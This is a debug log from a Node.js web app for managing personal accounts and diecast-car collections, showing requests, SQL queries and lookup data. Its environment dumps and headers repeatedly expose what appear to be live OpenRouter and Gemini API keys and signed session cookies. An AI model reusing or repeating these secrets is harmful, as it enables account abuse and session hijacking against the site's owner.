    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T07:04:56.489Z server-connect:router Serving templateView /collections
2026-02-04T07:04:56.489Z server-connect:app Executing action step identify
2026-02-04T07:04:56.489Z server-connect:app options: { provider: 'security' }
2026-02-04T07:04:56.489Z server-connect:output identity: 1
2026-02-04T07:04:56.489Z server-connect:app Executing action step restrict
2026-02-04T07:04:56.489Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:04:56.490Z server-connect:output restrict: undefined
2026-02-04T07:04:56.490Z server-connect:router Render template masters/collections
2026-02-04T07:04:56.490Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/collections',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"2850-vYhtWmaLPPra5IeVa3++XLjoeng"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/collections',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/collections',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/collections',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"2850-vYhtWmaLPPra5IeVa3++XLjoeng"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-04T07:04:56.801Z server-connect:router Serving serverConnect /api/masters/collections/collection-category
2026-02-04T07:04:56.802Z server-connect:app Executing action step identify
2026-02-04T07:04:56.802Z server-connect:app options: { provider: 'security' }
2026-02-04T07:04:56.802Z server-connect:output identity: 1
2026-02-04T07:04:56.802Z server-connect:app Executing action step restrict
2026-02-04T07:04:56.802Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:04:56.803Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-04T07:04:56.803Z server-connect:output restrict: undefined
2026-02-04T07:04:56.803Z server-connect:app Executing action step select
2026-02-04T07:04:56.803Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'collection_type' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `name` from `collection_type` where `collection_type`.`deleted` = ?'
  }
}
2026-02-04T07:04:56.803Z server-connect:app Executing action step identify
2026-02-04T07:04:56.803Z server-connect:app options: { provider: 'security' }
2026-02-04T07:04:56.803Z server-connect:output identity: 1
2026-02-04T07:04:56.803Z server-connect:app Executing action step restrict
2026-02-04T07:04:56.803Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:04:56.804Z server-connect:output restrict: undefined
2026-02-04T07:04:56.804Z server-connect:app Executing action step paged
2026-02-04T07:04:56.804Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-04T07:04:56.804Z server-connect:output list: [
  { id: 1, name: 'Unit' },
  { id: 2, name: 'Transaction Type' },
  { id: 3, name: 'Account Type' },
  { id: 4, name: 'Loan Mode' },
  { id: 5, name: 'Account Transactions' },
  { id: 6, name: 'Trading Platform' },
  { id: 7, name: 'Loan Type' },
  { id: 8, name: 'Supplement Brand' },
  { id: 9, name: 'Diecast Brand' },
  { id: 10, name: 'Diecast Series' },
  { id: 11, name: 'Vehicle Brand' }
]
2026-02-04T07:04:56.805Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 186,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 175 },
    current: 1,
    total: 8
  },
  data: [
    {
      name: 'Account Deposit',
      id: 19,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Salary Credit',
      id: 20,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'ATM Withdrawal',
      id: 21,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Account Transfer',
      id: 22,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Credit Card Payment',
      id: 25,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Card Swipe',
      id: 26,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Direct Payment',
      id: 38,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Auto Debit',
      id: 39,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Savings',
      id: 14,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Current',
      id: 15,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Petty Cash',
      id: 18,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Credit Card',
      id: 24,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Demat',
      id: 43,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Hotwheels',
      id: 71,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Majorette',
      id: 72,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Matchbox',
      id: 73,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Bburago',
      id: 74,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Maisto',
      id: 143,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'CCA',
      id: 158,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Jams Toys',
      id: 191,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Mainline',
      id: 75,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Premium',
      id: 76,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Treasure Hunt',
      id: 77,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Super Treasure Hunt',
      id: 78,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Car Culture',
      id: 79,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-04T07:04:58.809Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-04T07:04:58.809Z server-connect:app Executing action step identify
2026-02-04T07:04:58.809Z server-connect:app options: { provider: 'security' }
2026-02-04T07:04:58.809Z server-connect:output identity: 1
2026-02-04T07:04:58.809Z server-connect:app Executing action step restrict
2026-02-04T07:04:58.810Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:04:58.810Z server-connect:output restrict: undefined
2026-02-04T07:04:58.810Z server-connect:app Executing action step paged
2026-02-04T07:04:58.810Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-04T07:04:58.811Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 59,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 50 },
    current: 1,
    total: 3
  },
  data: [
    {
      name: 'Mainline',
      id: 75,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Premium',
      id: 76,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Treasure Hunt',
      id: 77,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Super Treasure Hunt',
      id: 78,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Car Culture',
      id: 79,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Red Line Club',
      id: 80,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Multipack',
      id: 81,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Exclusive',
      id: 82,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Moving Parts',
      id: 83,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Collectors',
      id: 84,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Racing Cars',
      id: 85,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Vintage',
      id: 86,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Deluxe Cars',
      id: 87,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Giftpack',
      id: 88,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Construction',
      id: 89,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Emergency',
      id: 90,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Basic',
      id: 91,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Fantasy',
      id: 92,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Other',
      id: 93,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Dirt',
      id: 94,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Race day',
      id: 95,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Muscle Mania',
      id: 96,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Hot Trucks',
      id: 97,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Celebration Racers',
      id: 98,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW 70s vs 90s',
      id: 99,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-04T07:05:05.342Z server-connect:router Serving templateView /collections
2026-02-04T07:05:05.342Z server-connect:app Executing action step identify
2026-02-04T07:05:05.342Z server-connect:app options: { provider: 'security' }
2026-02-04T07:05:05.342Z server-connect:output identity: 1
2026-02-04T07:05:05.342Z server-connect:app Executing action step restrict
2026-02-04T07:05:05.342Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:05:05.343Z server-connect:output restrict: undefined
2026-02-04T07:05:05.343Z server-connect:router Render template layouts/main
2026-02-04T07:05:05.343Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/collections',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/collections',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/masters/collections'
}
2026-02-04T07:05:06.245Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-04T07:05:06.247Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-04T07:05:06.247Z server-connect:router Serving serverConnect /api/masters/collections/collection-category
2026-02-04T07:05:06.248Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-04T07:05:06.248Z server-connect:app Executing action step identify
2026-02-04T07:05:06.248Z server-connect:app options: { provider: 'security' }
2026-02-04T07:05:06.248Z server-connect:output identity: 1
2026-02-04T07:05:06.248Z server-connect:app Executing action step restrict
2026-02-04T07:05:06.248Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:05:06.248Z server-connect:app Executing action step identify
2026-02-04T07:05:06.248Z server-connect:app options: { provider: 'security' }
2026-02-04T07:05:06.248Z server-connect:output identity: 1
2026-02-04T07:05:06.248Z server-connect:app Executing action step restrict
2026-02-04T07:05:06.248Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:05:06.248Z server-connect:output restrict: undefined
